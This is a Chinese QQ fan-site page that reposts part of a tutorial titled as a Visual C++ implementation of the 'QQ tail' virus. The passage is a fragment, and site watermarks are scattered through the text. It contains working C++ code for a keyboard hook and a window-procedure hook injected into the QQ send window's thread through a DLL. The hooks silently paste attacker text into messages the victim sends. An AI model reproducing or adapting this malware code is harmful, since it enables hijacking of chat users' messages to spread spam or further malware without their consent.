首 页 | Q宠爱好者论坛 | 生日解码 | 绥宁影院 | 幽默笑话 | QQ表情
QQ宠屋[QQ非主流资源网]
  • 首 页
  • QQ 表情
  • QQ 头像
  • QQ 宝典
  • QQ 签名
  • 热门网游
  • QQ 空间
  • QQ非主流
设为首页 收藏本站
  • 热点通告:
  • Flash模块 |
  • FD模块 |
  • MTV模块 |
  • 大图模块 |
  • QQ空间教程 |
  • QQ空间日志
  • QQ个性签名 |
  • QQ个性资料 |
  • QQ繁体网名 |
  • QQ情侣网名 |
  • QQ个性图片
  • QQ游戏 |
  • 劲舞团 |
  • 跑跑卡丁车 |
  • 其他游戏
  • 动漫卡通 |
  • 明星头像 |
  • 游戏人物 |
  • 另类头像 |
  • 其他头像
  • 搞笑幽默 |
  • 节日生日 |
  • 情感爱情 |
  • 文字字母 |
  • 人物类 |
  • 其他类
  • QQ技巧 |
  • QQ黑客 |
  • QQ新闻 |
  • QQ宠物 |
  • QQ笑话
  • QQ非主流专题
您的位置:首页 >> QQ宝典 >> QQ黑客 >> 阅读资讯

QQ尾巴病毒的Visual C++实现探讨

添加日期: 07-08-21 编辑: 会飞的坦克 点击: 【大 中 小】
        

 所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。

Wtto.Net

好了,现在这个钩子已经可以胜利地完成任务了。但是请不要忘记:有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中还需要挂上一个键盘钩子: Qkoo.Cn

 

Wtto.Net

// 键盘钩子过程,监视“发送”的热键消息LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){ // 捕获热键消息 if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)  PasteText(g_hRich); return CallNextHookEx(g_hKey, nCode, wParam, lParam);} Wtto.Net

  在这里唯一要解释的一点就是lParam >= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam 的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候调用PasteText,也就是说,如果去掉这个条件,PasteText将会被调用两次(连同 WM_KEYUP的一次)。 Qkoo.Cn

  挂接钩子和查找窗口

Qkoo.Cn

  接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?

Qkoo.Cn

  挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接:

Wtto.Net

// 挂接钩子BOOL WINAPI SetHook(HWND hQQ){ BOOL bRet = FALSE; if (hQQ != NULL) {  DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);  // 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦  g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);  if (g_hRich == NULL)   return FALSE;  // 挂接钩子  g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);  g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);  bRet = (g_hProc != NULL) && (g_hKey != NULL); } else {  // 卸载钩子  bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);  g_hProc = NULL;  g_hKey = NULL;  g_hRich = NULL; } return bRet;} Wtto.Net

  到此为止,以上所有的代码都位于一个Hook.dll的动态链接库之中,关于DLL我就不多介绍了,请查阅MSDN上的相关资料和本文的配套源代码。

Qkoo.Cn





9 7 3 1 2 3 4 5 6 4 8 :
Tags:

内容搜索
热门关键字:非主流 QQ个性 QQ签名 个性签名 情侣网名 繁体网名 flash代码 空间代码 表情
相关文章
  1. 小僵尸表情
  1. 裸宝宝系列表情
  1. 可爱小鸡表情
  1. QQ改版表情
  1. 兔耳控表情
  1. 另类非主流女孩图片
  1. 寂寞颓废的盛开
  1. 非主流怀旧风格图片
  1. 超个性非主流形象图
  1. 2008最新个性非主流图片
  1. 非主流颓废文字图片
  1. 非主流[十八禁接吻图]
推荐文章
  1. 2008最新中秋节祝福
  1. 父亲节祝福-QQ表情及祝福短信
  1. 端午节(粽子)祝福-QQ表情
  1. 六一儿童节-QQ表情
  1. 抗震救灾祈福-QQ,MSN头像
  1. 2008最新的免费QQ秀,最新15套时尚,经典情侣套装
  1. 正版中国心QQ头像 MSN头像
  1. 《我的中国心》百家姓头像大集合
  1. 十字架系列QQ头像
  1. 可爱的动态图片
  1. 最新免费qq秀4套 男女各两套[推荐]
  1. QQ无法正常登录的八种原因及解决办法
首 页 | Q宠爱好者论坛 | 生日解码 | 绥宁影院 | 幽默笑话 | QQ表情
E-mail:yuanchang402#163.com(请把“#”改成“@”) OICQ: 点击这里给我发消息
Copyright© 2006-2009 QQchw.Com Inc. All Rights Reserved     网站ICP备案号:湘ICP备06001204号